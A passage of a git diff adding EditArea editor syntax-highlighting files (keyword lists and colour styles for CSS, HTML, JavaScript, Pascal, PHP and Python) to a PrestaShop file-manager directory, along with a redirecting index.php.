'padding', 'page', 'page-break-after', + 'page-break-before', 'page-break-inside', 'pause-after', 'pause-before', + 'pause', 'pitch', 'pitch-range', 'play-during', 'position', 'quotes', + 'richness', 'right', 'size', 'speak-header', 'speak-numeral', 'speak-punctuation', + 'speak', 'speech-rate', 'stress', 'table-layout', 'text-align', 'text-decoration', + 'text-indent', 'text-shadow', 'text-transform', 'top', 'unicode-bidi', + 'vertical-align', 'visibility', 'voice-family', 'volume', 'white-space', 'widows', + 'width', 'word-spacing', 'z-index', 'bottom', 'left' + ] + ,'values' : [ + 'above', 'absolute', 'always', 'armenian', 'aural', 'auto', 'avoid', + 'baseline', 'behind', 'below', 'bidi-override', 'black', 'blue', 'blink', 'block', 'bold', 'bolder', 'both', + 'capitalize', 'center-left', 'center-right', 'center', 'circle', 'cjk-ideographic', + 'close-quote', 'collapse', 'condensed', 'continuous', 'crop', 'crosshair', 'cross', 'cursive', + 'dashed', 'decimal-leading-zero', 'decimal', 'default', 'digits', 'disc', 'dotted', 'double', + 'e-resize', 'embed', 'extra-condensed', 'extra-expanded', 'expanded', + 'fantasy', 'far-left', 'far-right', 'faster', 'fast', 'fixed', 'fuchsia', + 'georgian', 'gray', 'green', 'groove', 'hebrew', 'help', 'hidden', 'hide', 'higher', + 'high', 'hiragana-iroha', 'hiragana', 'icon', 'inherit', 'inline-table', 'inline', + 'inset', 'inside', 'invert', 'italic', 'justify', 'katakana-iroha', 'katakana', + 'landscape', 'larger', 'large', 'left-side', 'leftwards', 'level', 'lighter', 'lime', 'line-through', 'list-item', 'loud', 'lower-alpha', 'lower-greek', 'lower-roman', 'lowercase', 'ltr', 'lower', 'low', + 'maroon', 'medium', 'message-box', 'middle', 'mix', 'monospace', + 'n-resize', 'narrower', 'navy', 'ne-resize', 'no-close-quote', 'no-open-quote', 'no-repeat', 'none', 'normal', 'nowrap', 'nw-resize', + 'oblique', 'olive', 'once', 'open-quote', 'outset', 'outside', 'overline', + 'pointer', 'portrait', 'purple', 'px', + 'red', 'relative', 'repeat-x', 'repeat-y', 'repeat', 'rgb', 'ridge', 'right-side', 'rightwards', + 's-resize', 'sans-serif', 'scroll', 'se-resize', 'semi-condensed', 'semi-expanded', 'separate', 'serif', 'show', 'silent', 'silver', 'slow', 'slower', 'small-caps', 'small-caption', 'smaller', 'soft', 'solid', 'spell-out', 'square', + 'static', 'status-bar', 'super', 'sw-resize', + 'table-caption', 'table-cell', 'table-column', 'table-column-group', 'table-footer-group', 'table-header-group', 'table-row', 'table-row-group', 'teal', 'text', 'text-bottom', 'text-top', 'thick', 'thin', 'transparent', + 'ultra-condensed', 'ultra-expanded', 'underline', 'upper-alpha', 'upper-latin', 'upper-roman', 'uppercase', 'url', + 'visible', + 'w-resize', 'wait', 'white', 'wider', + 'x-fast', 'x-high', 'x-large', 'x-loud', 'x-low', 'x-small', 'x-soft', 'xx-large', 'xx-small', + 'yellow', 'yes' + ] + ,'specials' : [ + 'important' + ] + } + ,'OPERATORS' :[ + ':', ';', '!', '.', '#' + ] + ,'DELIMITERS' :[ + '{', '}' + ] + ,'STYLES' : { + 'COMMENTS': 'color: #AAAAAA;' + ,'QUOTESMARKS': 'color: #6381F8;' + ,'KEYWORDS' : { + 'attributes' : 'color: #48BDDF;' + ,'values' : 'color: #2B60FF;' + ,'specials' : 'color: #FF0000;' + } + ,'OPERATORS' : 'color: #FF00FF;' + ,'DELIMITERS' : 'color: #60CA00;' + + } +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/html.js b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/html.js new file mode 100755 index 0000000..cc2a90e --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/html.js @@ -0,0 +1,50 @@ +/* +* last update: 2006-08-24 +*/ + +editAreaLoader.load_syntax["html"] = { + 'COMMENT_SINGLE' : {} + ,'COMMENT_MULTI' : {''} + ,'QUOTEMARKS' : {1: "'", 2: '"'} + ,'KEYWORD_CASE_SENSITIVE' : false + ,'KEYWORDS' : { + } + ,'OPERATORS' :[ + ] + ,'DELIMITERS' :[ + ] + ,'REGEXPS' : { + 'doctype' : { + 'search' : '()(]*>)()' + ,'class' : 'doctype' + ,'modifiers' : '' + ,'execute' : 'before' // before or after + } + ,'tags' : { + 'search' : '(<)(/?[a-z][^ \r\n\t>]*)([^>]*>)' + ,'class' : 'tags' + ,'modifiers' : 'gi' + ,'execute' : 'before' // before or after + } + ,'attributes' : { + 'search' : '( |\n|\r|\t)([^ \r\n\t=]+)(=)' + ,'class' : 'attributes' + ,'modifiers' : 'g' + ,'execute' : 'before' // before or after + } + } + ,'STYLES' : { + 'COMMENTS': 'color: #AAAAAA;' + ,'QUOTESMARKS': 'color: #6381F8;' + ,'KEYWORDS' : { + } + ,'OPERATORS' : 'color: #E775F0;' + ,'DELIMITERS' : '' + ,'REGEXPS' : { + 'attributes': 'color: #B1AC41;' + ,'tags': 'color: #E62253;' + ,'doctype': 'color: #8DCFB5;' + ,'test': 'color: #00FF00;' + } + } +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/index.php b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/js.js b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/js.js new file mode 100755 index 0000000..3b4ef5e --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/js.js @@ -0,0 +1,60 @@ +editAreaLoader.load_syntax["js"] = { + 'COMMENT_SINGLE' : {1 : '//'} + ,'COMMENT_MULTI' : {'/*' : '*/'} + ,'QUOTEMARKS' : {1: "'", 2: '"'} + ,'KEYWORD_CASE_SENSITIVE' : true + ,'KEYWORDS' : { + 'statements' : [ + 'as', 'break', 'case', 'catch', 'continue', 'decodeURI', 'delete', 'do', + 'else', 'encodeURI', 'eval', 'finally', 'for', 'if', 'in', 'is', 'item', + 'instanceof', 'return', 'switch', 'this', 'throw', 'try', 'typeof', 'void', + 'while', 'write', 'with' + ] + ,'keywords' : [ + 'class', 'const', 'default', 'debugger', 'export', 'extends', 'false', + 'function', 'import', 'namespace', 'new', 'null', 'package', 'private', + 'protected', 'public', 'super', 'true', 'use', 'var', 'window', 'document', + // the list below must be sorted and checked (if it is a keywords or a function and if it is not present twice + 'Link ', 'outerHeight ', 'Anchor', 'FileUpload', + 'location', 'outerWidth', 'Select', 'Area', 'find', 'Location', 'Packages', 'self', + 'arguments', 'locationbar', 'pageXoffset', 'Form', + 'Math', 'pageYoffset', 'setTimeout', 'assign', 'Frame', 'menubar', 'parent', 'status', + 'blur', 'frames', 'MimeType', 'parseFloat', 'statusbar', 'Boolean', 'Function', 'moveBy', + 'parseInt', 'stop', 'Button', 'getClass', 'moveTo', 'Password', 'String', 'callee', 'Hidden', + 'name', 'personalbar', 'Submit', 'caller', 'history', 'NaN', 'Plugin', 'sun', 'captureEvents', + 'History', 'navigate', 'print', 'taint', 'Checkbox', 'home', 'navigator', 'prompt', 'Text', + 'Image', 'Navigator', 'prototype', 'Textarea', 'clearTimeout', 'Infinity', + 'netscape', 'Radio', 'toolbar', 'close', 'innerHeight', 'Number', 'ref', 'top', 'closed', + 'innerWidth', 'Object', 'RegExp', 'toString', 'confirm', 'isFinite', 'onBlur', 'releaseEvents', + 'unescape', 'constructor', 'isNan', 'onError', 'Reset', 'untaint', 'Date', 'java', 'onFocus', + 'resizeBy', 'unwatch', 'defaultStatus', 'JavaArray', 'onLoad', 'resizeTo', 'valueOf', 'document', + 'JavaClass', 'onUnload', 'routeEvent', 'watch', 'Document', 'JavaObject', 'open', 'scroll', 'window', + 'Element', 'JavaPackage', 'opener', 'scrollbars', 'Window', 'escape', 'length', 'Option', 'scrollBy' + ] + ,'functions' : [ + // common functions for Window object + 'alert', 'Array', 'back', 'blur', 'clearInterval', 'close', 'confirm', 'eval ', 'focus', 'forward', 'home', + 'name', 'navigate', 'onblur', 'onerror', 'onfocus', 'onload', 'onmove', + 'onresize', 'onunload', 'open', 'print', 'prompt', 'scroll', 'scrollTo', 'setInterval', 'status', + 'stop' + ] + } + ,'OPERATORS' :[ + '+', '-', '/', '*', '=', '<', '>', '%', '!' + ] + ,'DELIMITERS' :[ + '(', ')', '[', ']', '{', '}' + ] + ,'STYLES' : { + 'COMMENTS': 'color: #AAAAAA;' + ,'QUOTESMARKS': 'color: #6381F8;' + ,'KEYWORDS' : { + 'statements' : 'color: #60CA00;' + ,'keywords' : 'color: #48BDDF;' + ,'functions' : 'color: #2B60FF;' + } + ,'OPERATORS' : 'color: #FF00FF;' + ,'DELIMITERS' : 'color: #0038E1;' + + } +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/pas.js b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/pas.js new file mode 100755 index 0000000..2038539 --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/pas.js @@ -0,0 +1,82 @@ +editAreaLoader.load_syntax["pas"] = { + 'COMMENT_SINGLE' : {} + ,'COMMENT_MULTI' : {'{' : '}', '(*':'*)'} + ,'QUOTEMARKS' : {1: '"', 2: "'"} + ,'KEYWORD_CASE_SENSITIVE' : false + ,'KEYWORDS' : { + 'constants' : [ + 'Blink', 'Black', 'Blue', 'Green', 'Cyan', 'Red', + 'Magenta', 'Brown', 'LightGray', 'DarkGray', + 'LightBlue', 'LightGreen', 'LightCyan', 'LightRed', + 'LightMagenta', 'Yellow', 'White', 'MaxSIntValue', + 'MaxUIntValue', 'maxint', 'maxLongint', 'maxSmallint', + 'erroraddr', 'errorcode', 'LineEnding' + ] + ,'keywords' : [ + 'in', 'or', 'div', 'mod', 'and', 'shl', 'shr', 'xor', + 'pow', 'is', 'not','Absolute', 'And_then', 'Array', + 'Begin', 'Bindable', 'Case', 'Const', 'Do', 'Downto', + 'Else', 'End', 'Export', 'File', 'For', 'Function', + 'Goto', 'If', 'Import', 'Implementation', 'Inherited', + 'Inline', 'Interface', 'Label', 'Module', 'Nil', + 'Object', 'Of', 'Only', 'Operator', 'Or_else', + 'Otherwise', 'Packed', 'Procedure', 'Program', + 'Protected', 'Qualified', 'Record', 'Repeat', + 'Restricted', 'Set', 'Then', 'To', 'Type', 'Unit', + 'Until', 'Uses', 'Value', 'Var', 'Virtual', 'While', + 'With' + ] + ,'functions' : [ + 'Abs', 'Addr', 'Append', 'Arctan', 'Assert', 'Assign', + 'Assigned', 'BinStr', 'Blockread', 'Blockwrite', + 'Break', 'Chdir', 'Chr', 'Close', 'CompareByte', + 'CompareChar', 'CompareDWord', 'CompareWord', 'Concat', + 'Continue', 'Copy', 'Cos', 'CSeg', 'Dec', 'Delete', + 'Dispose', 'DSeg', 'Eof', 'Eoln', 'Erase', 'Exclude', + 'Exit', 'Exp', 'Filepos', 'Filesize', 'FillByte', + 'Fillchar', 'FillDWord', 'Fillword', 'Flush', 'Frac', + 'Freemem', 'Getdir', 'Getmem', 'GetMemoryManager', + 'Halt', 'HexStr', 'Hi', 'High', 'Inc', 'Include', + 'IndexByte', 'IndexChar', 'IndexDWord', 'IndexWord', + 'Insert', 'IsMemoryManagerSet', 'Int', 'IOresult', + 'Length', 'Ln', 'Lo', 'LongJmp', 'Low', 'Lowercase', + 'Mark', 'Maxavail', 'Memavail', 'Mkdir', 'Move', + 'MoveChar0', 'New', 'Odd', 'OctStr', 'Ofs', 'Ord', + 'Paramcount', 'Paramstr', 'Pi', 'Pos', 'Power', 'Pred', + 'Ptr', 'Random', 'Randomize', 'Read', 'Readln', + 'Real2Double', 'Release', 'Rename', 'Reset', 'Rewrite', + 'Rmdir', 'Round', 'Runerror', 'Seek', 'SeekEof', + 'SeekEoln', 'Seg', 'SetMemoryManager', 'SetJmp', + 'SetLength', 'SetString', 'SetTextBuf', 'Sin', 'SizeOf', + 'Sptr', 'Sqr', 'Sqrt', 'SSeg', 'Str', 'StringOfChar', + 'Succ', 'Swap', 'Trunc', 'Truncate', 'Upcase', 'Val', + 'Write', 'WriteLn' + ] + ,'types' : [ + 'Integer', 'Shortint', 'SmallInt', 'Longint', + 'Longword', 'Int64', 'Byte', 'Word', 'Cardinal', + 'QWord', 'Boolean', 'ByteBool', 'LongBool', 'Char', + 'Real', 'Single', 'Double', 'Extended', 'Comp', + 'String', 'ShortString', 'AnsiString', 'PChar' + ] + } + ,'OPERATORS' :[ + '@', '*', '+', '-', '/', '^', ':=', '<', '=', '>' + ] + ,'DELIMITERS' :[ + '(', ')', '[', ']' + ] + ,'STYLES' : { + 'COMMENTS': 'color: #AAAAAA;' + ,'QUOTESMARKS': 'color: #6381F8;' + ,'KEYWORDS' : { + 'specials' : 'color: #EE0000;' + ,'constants' : 'color: #654321;' + ,'keywords' : 'color: #48BDDF;' + ,'functions' : 'color: #449922;' + ,'types' : 'color: #2B60FF;' + } + ,'OPERATORS' : 'color: #FF00FF;' + ,'DELIMITERS' : 'color: #60CA00;' + } +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/php.js b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/php.js new file mode 100755 index 0000000..535a22b --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/php.js @@ -0,0 +1,75 @@ +editAreaLoader.load_syntax["php"] = { + 'COMMENT_SINGLE' : {1 : '//', 2 : '#'} + ,'COMMENT_MULTI' : {'/*' : '*/'} + ,'QUOTEMARKS' : {1: "'", 2: '"'} + ,'KEYWORD_CASE_SENSITIVE' : false + ,'KEYWORDS' : { + 'statements' : [ + 'include', 'require', 'include_once', 'require_once', + 'for', 'foreach', 'as', 'if', 'elseif', 'else', 'while', 'do', 'endwhile', + 'endif', 'switch', 'case', 'endswitch', + 'return', 'break', 'continue' + ] + ,'reserved' : [ + '_GET', '_POST', '_SERVER', '_FILES', '_ENV', '_COOKIE', '_REQUEST', + 'null', '__LINE__', '__FILE__', + 'false', '<?php', '?>', '<?', + '<script language', '</script>', + 'true', 'var', 'default', + 'function', 'class', 'new', '&new', 'this', + '__FUNCTION__', '__CLASS__', '__METHOD__', 'PHP_VERSION', + 'PHP_OS', 'DEFAULT_INCLUDE_PATH', 'PEAR_INSTALL_DIR', 'PEAR_EXTENSION_DIR', + 'PHP_EXTENSION_DIR', 'PHP_BINDIR', 'PHP_LIBDIR', 'PHP_DATADIR', 'PHP_SYSCONFDIR', + 'PHP_LOCALSTATEDIR', 'PHP_CONFIG_FILE_PATH', 'PHP_OUTPUT_HANDLER_START', 'PHP_OUTPUT_HANDLER_CONT', + 'PHP_OUTPUT_HANDLER_END', 'E_ERROR', 'E_WARNING', 'E_PARSE', 'E_NOTICE', + 'E_CORE_ERROR', 'E_CORE_WARNING', 'E_COMPILE_ERROR', 'E_COMPILE_WARNING', 'E_USER_ERROR', + 'E_USER_WARNING', 'E_USER_NOTICE', 'E_ALL' + + ] + ,'functions' : [ + 'func_num_args', 'func_get_arg', 'func_get_args', 'strlen', 'strcmp', 'strncmp', 'strcasecmp', 'strncasecmp', 'each', 'error_reporting', 'define', 'defined', + 'trigger_error', 'user_error', 'set_error_handler', 'restore_error_handler', 'get_declared_classes', 'get_loaded_extensions', + 'extension_loaded', 'get_extension_funcs', 'debug_backtrace', + 'constant', 'bin2hex', 'sleep', 'usleep', 'time', 'mktime', 'gmmktime', 'strftime', 'gmstrftime', 'strtotime', 'date', 'gmdate', 'getdate', 'localtime', 'checkdate', 'flush', 'wordwrap', 'htmlspecialchars', 'htmlentities', 'html_entity_decode', 'md5', 'md5_file', 'crc32', 'getimagesize', 'image_type_to_mime_type', 'phpinfo', 'phpversion', 'phpcredits', 'strnatcmp', 'strnatcasecmp', 'substr_count', 'strspn', 'strcspn', 'strtok', 'strtoupper', 'strtolower', 'strpos', 'strrpos', 'strrev', 'hebrev', 'hebrevc', 'nl2br', 'basename', 'dirname', 'pathinfo', 'stripslashes', 'stripcslashes', 'strstr', 'stristr', 'strrchr', 'str_shuffle', 'str_word_count', 'strcoll', 'substr', 'substr_replace', 'quotemeta', 'ucfirst', 'ucwords', 'strtr', 'addslashes', 'addcslashes', 'rtrim', 'str_replace', 'str_repeat', 'count_chars', 'chunk_split', 'trim', 'ltrim', 'strip_tags', 'similar_text', 'explode', 'implode', 'setlocale', 'localeconv', + 'parse_str', 'str_pad', 'chop', 'strchr', 'sprintf', 'printf', 'vprintf', 'vsprintf', 'sscanf', 'fscanf', 'parse_url', 'urlencode', 'urldecode', 'rawurlencode', 'rawurldecode', 'readlink', 'linkinfo', 'link', 'unlink', 'exec', 'system', 'escapeshellcmd', 'escapeshellarg', 'passthru', 'shell_exec', 'proc_open', 'proc_close', 'rand', 'srand', 'getrandmax', 'mt_rand', 'mt_srand', 'mt_getrandmax', 'base64_decode', 'base64_encode', 'abs', 'ceil', 'floor', 'round', 'is_finite', 'is_nan', 'is_infinite', 'bindec', 'hexdec', 'octdec', 'decbin', 'decoct', 'dechex', 'base_convert', 'number_format', 'fmod', 'ip2long', 'long2ip', 'getenv', 'putenv', 'getopt', 'microtime', 'gettimeofday', 'getrusage', 'uniqid', 'quoted_printable_decode', 'set_time_limit', 'get_cfg_var', 'magic_quotes_runtime', 'set_magic_quotes_runtime', 'get_magic_quotes_gpc', 'get_magic_quotes_runtime', + 'import_request_variables', 'error_log', 'serialize', 'unserialize', 'memory_get_usage', 'var_dump', 'var_export', 'debug_zval_dump', 'print_r','highlight_file', 'show_source', 'highlight_string', 'ini_get', 'ini_get_all', 'ini_set', 'ini_alter', 'ini_restore', 'get_include_path', 'set_include_path', 'restore_include_path', 'setcookie', 'header', 'headers_sent', 'connection_aborted', 'connection_status', 'ignore_user_abort', 'parse_ini_file', 'is_uploaded_file', 'move_uploaded_file', 'intval', 'floatval', 'doubleval', 'strval', 'gettype', 'settype', 'is_null', 'is_resource', 'is_bool', 'is_long', 'is_float', 'is_int', 'is_integer', 'is_double', 'is_real', 'is_numeric', 'is_string', 'is_array', 'is_object', 'is_scalar', + 'ereg', 'ereg_replace', 'eregi', 'eregi_replace', 'split', 'spliti', 'join', 'sql_regcase', 'dl', 'pclose', 'popen', 'readfile', 'rewind', 'rmdir', 'umask', 'fclose', 'feof', 'fgetc', 'fgets', 'fgetss', 'fread', 'fopen', 'fpassthru', 'ftruncate', 'fstat', 'fseek', 'ftell', 'fflush', 'fwrite', 'fputs', 'mkdir', 'rename', 'copy', 'tempnam', 'tmpfile', 'file', 'file_get_contents', 'stream_select', 'stream_context_create', 'stream_context_set_params', 'stream_context_set_option', 'stream_context_get_options', 'stream_filter_prepend', 'stream_filter_append', 'fgetcsv', 'flock', 'get_meta_tags', 'stream_set_write_buffer', 'set_file_buffer', 'set_socket_blocking', 'stream_set_blocking', 'socket_set_blocking', 'stream_get_meta_data', 'stream_register_wrapper', 'stream_wrapper_register', 'stream_set_timeout', 'socket_set_timeout', 'socket_get_status', 'realpath', 'fnmatch', 'fsockopen', 'pfsockopen', 'pack', 'unpack', 'get_browser', 'crypt', 'opendir', 'closedir', 'chdir', 'getcwd', 'rewinddir', 'readdir', 'dir', 'glob', 'fileatime', 'filectime', 'filegroup', 'fileinode', 'filemtime', 'fileowner', 'fileperms', 'filesize', 'filetype', 'file_exists', 'is_writable', 'is_writeable', 'is_readable', 'is_executable', 'is_file', 'is_dir', 'is_link', 'stat', 'lstat', 'chown', + 'touch', 'clearstatcache', 'mail', 'ob_start', 'ob_flush', 'ob_clean', 'ob_end_flush', 'ob_end_clean', 'ob_get_flush', 'ob_get_clean', 'ob_get_length', 'ob_get_level', 'ob_get_status', 'ob_get_contents', 'ob_implicit_flush', 'ob_list_handlers', 'ksort', 'krsort', 'natsort', 'natcasesort', 'asort', 'arsort', 'sort', 'rsort', 'usort', 'uasort', 'uksort', 'shuffle', 'array_walk', 'count', 'end', 'prev', 'next', 'reset', 'current', 'key', 'min', 'max', 'in_array', 'array_search', 'extract', 'compact', 'array_fill', 'range', 'array_multisort', 'array_push', 'array_pop', 'array_shift', 'array_unshift', 'array_splice', 'array_slice', 'array_merge', 'array_merge_recursive', 'array_keys', 'array_values', 'array_count_values', 'array_reverse', 'array_reduce', 'array_pad', 'array_flip', 'array_change_key_case', 'array_rand', 'array_unique', 'array_intersect', 'array_intersect_assoc', 'array_diff', 'array_diff_assoc', 'array_sum', 'array_filter', 'array_map', 'array_chunk', 'array_key_exists', 'pos', 'sizeof', 'key_exists', 'assert', 'assert_options', 'version_compare', 'ftok', 'str_rot13', 'aggregate', + 'session_name', 'session_module_name', 'session_save_path', 'session_id', 'session_regenerate_id', 'session_decode', 'session_register', 'session_unregister', 'session_is_registered', 'session_encode', + 'session_start', 'session_destroy', 'session_unset', 'session_set_save_handler', 'session_cache_limiter', 'session_cache_expire', 'session_set_cookie_params', 'session_get_cookie_params', 'session_write_close', 'preg_match', 'preg_match_all', 'preg_replace', 'preg_replace_callback', 'preg_split', 'preg_quote', 'preg_grep', 'overload', 'ctype_alnum', 'ctype_alpha', 'ctype_cntrl', 'ctype_digit', 'ctype_lower', 'ctype_graph', 'ctype_print', 'ctype_punct', 'ctype_space', 'ctype_upper', 'ctype_xdigit', 'virtual', 'apache_request_headers', 'apache_note', 'apache_lookup_uri', 'apache_child_terminate', 'apache_setenv', 'apache_response_headers', 'apache_get_version', 'getallheaders', 'mysql_connect', 'mysql_pconnect', 'mysql_close', 'mysql_select_db', 'mysql_create_db', 'mysql_drop_db', 'mysql_query', 'mysql_unbuffered_query', 'mysql_db_query', 'mysql_list_dbs', 'mysql_list_tables', 'mysql_list_fields', 'mysql_list_processes', 'mysql_error', 'mysql_errno', 'mysql_affected_rows', 'mysql_insert_id', 'mysql_result', 'mysql_num_rows', 'mysql_num_fields', 'mysql_fetch_row', 'mysql_fetch_array', 'mysql_fetch_assoc', 'mysql_fetch_object', 'mysql_data_seek', 'mysql_fetch_lengths', 'mysql_fetch_field', 'mysql_field_seek', 'mysql_free_result', 'mysql_field_name', 'mysql_field_table', 'mysql_field_len', 'mysql_field_type', 'mysql_field_flags', 'mysql_escape_string', 'mysql_real_escape_string', 'mysql_stat', + 'mysql_thread_id', 'mysql_client_encoding', 'mysql_get_client_info', 'mysql_get_host_info', 'mysql_get_proto_info', 'mysql_get_server_info', 'mysql_info', 'mysql', 'mysql_fieldname', 'mysql_fieldtable', 'mysql_fieldlen', 'mysql_fieldtype', 'mysql_fieldflags', 'mysql_selectdb', 'mysql_createdb', 'mysql_dropdb', 'mysql_freeresult', 'mysql_numfields', 'mysql_numrows', 'mysql_listdbs', 'mysql_listtables', 'mysql_listfields', 'mysql_db_name', 'mysql_dbname', 'mysql_tablename', 'mysql_table_name', 'pg_connect', 'pg_pconnect', 'pg_close', 'pg_connection_status', 'pg_connection_busy', 'pg_connection_reset', 'pg_host', 'pg_dbname', 'pg_port', 'pg_tty', 'pg_options', 'pg_ping', 'pg_query', 'pg_send_query', 'pg_cancel_query', 'pg_fetch_result', 'pg_fetch_row', 'pg_fetch_assoc', 'pg_fetch_array', 'pg_fetch_object', 'pg_fetch_all', 'pg_affected_rows', 'pg_get_result', 'pg_result_seek', 'pg_result_status', 'pg_free_result', 'pg_last_oid', 'pg_num_rows', 'pg_num_fields', 'pg_field_name', 'pg_field_num', 'pg_field_size', 'pg_field_type', 'pg_field_prtlen', 'pg_field_is_null', 'pg_get_notify', 'pg_get_pid', 'pg_result_error', 'pg_last_error', 'pg_last_notice', 'pg_put_line', 'pg_end_copy', 'pg_copy_to', 'pg_copy_from', + 'pg_trace', 'pg_untrace', 'pg_lo_create', 'pg_lo_unlink', 'pg_lo_open', 'pg_lo_close', 'pg_lo_read', 'pg_lo_write', 'pg_lo_read_all', 'pg_lo_import', 'pg_lo_export', 'pg_lo_seek', 'pg_lo_tell', 'pg_escape_string', 'pg_escape_bytea', 'pg_unescape_bytea', 'pg_client_encoding', 'pg_set_client_encoding', 'pg_meta_data', 'pg_convert', 'pg_insert', 'pg_update', 'pg_delete', 'pg_select', 'pg_exec', 'pg_getlastoid', 'pg_cmdtuples', 'pg_errormessage', 'pg_numrows', 'pg_numfields', 'pg_fieldname', 'pg_fieldsize', 'pg_fieldtype', 'pg_fieldnum', 'pg_fieldprtlen', 'pg_fieldisnull', 'pg_freeresult', 'pg_result', 'pg_loreadall', 'pg_locreate', 'pg_lounlink', 'pg_loopen', 'pg_loclose', 'pg_loread', 'pg_lowrite', 'pg_loimport', 'pg_loexport', + 'echo', 'print', 'global', 'static', 'exit', 'array', 'empty', 'eval', 'isset', 'unset', 'die' + + ] + } + ,'OPERATORS' :[ + '+', '-', '/', '*', '=', '<', '>', '%', '!', '&&', '||' + ] + ,'DELIMITERS' :[ + '(', ')', '[', ']', '{', '}' + ] + ,'REGEXPS' : { + // highlight all variables ($...) + 'variables' : { + 'search' : '()(\\$\\w+)()' + ,'class' : 'variables' + ,'modifiers' : 'g' + ,'execute' : 'before' // before or after + } + } + ,'STYLES' : { + 'COMMENTS': 'color: #AAAAAA;' + ,'QUOTESMARKS': 'color: #879EFA;' + ,'KEYWORDS' : { + 'reserved' : 'color: #48BDDF;' + ,'functions' : 'color: #0040FD;' + ,'statements' : 'color: #60CA00;' + } + ,'OPERATORS' : 'color: #FF00FF;' + ,'DELIMITERS' : 'color: #2B60FF;' + ,'REGEXPS' : { + 'variables' : 'color: #E0BD54;' + } + } +}; diff --git a/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/python.js b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/python.js new file mode 100755 index 0000000..456b27e --- /dev/null +++ b/BO/ajaxfilemanager/jscripts/edit_area/reg_syntax/python.js @@ -0,0 +1,144 @@ +/** + * Python syntax v 1.1 + * + * v1.1 by Andre Roberge (2006/12/27) + * +**/ +editAreaLoader.load_syntax["python"] = { + 'COMMENT_SINGLE' : {1 : '#'} + ,'COMMENT_MULTI' : {} + ,'QUOTEMARKS' : {1: "'", 2: '"'} + ,'KEYWORD_CASE_SENSITIVE' : true + ,'KEYWORDS' : { + /* + ** Set 1: reserved words + ** http://python.org/doc/current/ref/keywords.html + ** Note: 'as' and 'with' have been added starting with Python 2.5 + */ + 'reserved' : [ + 'and', 'as', 'assert', 'break', 'class', 'continue', 'def', 'del', 'elif', + 'else', 'except', 'exec', 'finally', 'for', 'from', 'global', 'if', + 'import', 'is', 'in', 'lambda', 'not', 'or', 'pass', 'print', 'raise', + 'return', 'try', 'while', 'with', 'yield' + //the following are *almost* reserved; we'll treat them as such + , 'False', 'True', 'None' + ] + /* + ** Set 2: builtins + ** http://python.org/doc/current/lib/built-in-funcs.html + */ + ,'builtins' : [ + '__import__', 'abs', 'basestring', 'bool', 'callable', 'chr', 'classmethod', 'cmp', + 'compile', 'complex', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', + 'file', 'filter', 'float', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', + 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'list', 'locals', + 'long', 'map', 'max', 'min', 'object', 'oct', 'open', 'ord', 'pow', 'property', 'range', + 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', + 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', + 'vars', 'xrange', 'zip', + // Built-in constants: http://www.python.org/doc/2.4.1/lib/node35.html + //'False', 'True', 'None' have been included in 'reserved' + 'NotImplemented', 'Ellipsis', + // Built-in Exceptions: http://python.org/doc/current/lib/module-exceptions.html + 'Exception', 'StandardError', 'ArithmeticError', 'LookupError', 'EnvironmentError', + 'AssertionError', 'AttributeError', 'EOFError', 'FloatingPointError', 'IOError', + 'ImportError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'MemoryError', 'NameError', + 'NotImplementedError', 'OSError', 'OverflowError', 'ReferenceError', 'RuntimeError', + 'StopIteration', 'SyntaxError', 'SystemError', 'SystemExit', 'TypeError', + 'UnboundlocalError', 'UnicodeError', 'UnicodeEncodeError', 'UnicodeDecodeError', + 'UnicodeTranslateError', 'ValueError', 'WindowsError', 'ZeroDivisionError', 'Warning', + 'UserWarning', 'DeprecationWarning', 'PendingDeprecationWarning', 'SyntaxWarning', + 'RuntimeWarning', 'FutureWarning', + // we will include the string methods as well + // http://python.org/doc/current/lib/string-methods.html + 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', + 'find', 'index', 'isalnum', 'isaplpha', 'isdigit', 'islower', 'isspace', 'istitle', + 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'replace', 'rfind', 'rindex', 'rjust', + 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', + 'translate', 'upper', 'zfill' + ] + /* + ** Set 3: standard library + ** http://python.org/doc/current/lib/modindex.html + */ + ,'stdlib' : [ + '__builtin__', '__future__', '__main__', '_winreg', 'aifc', 'AL', 'al', 'anydbm', + 'array', 'asynchat', 'asyncore', 'atexit', 'audioop', 'base64', 'BaseHTTPServer', + 'Bastion', 'binascii', 'binhex', 'bisect', 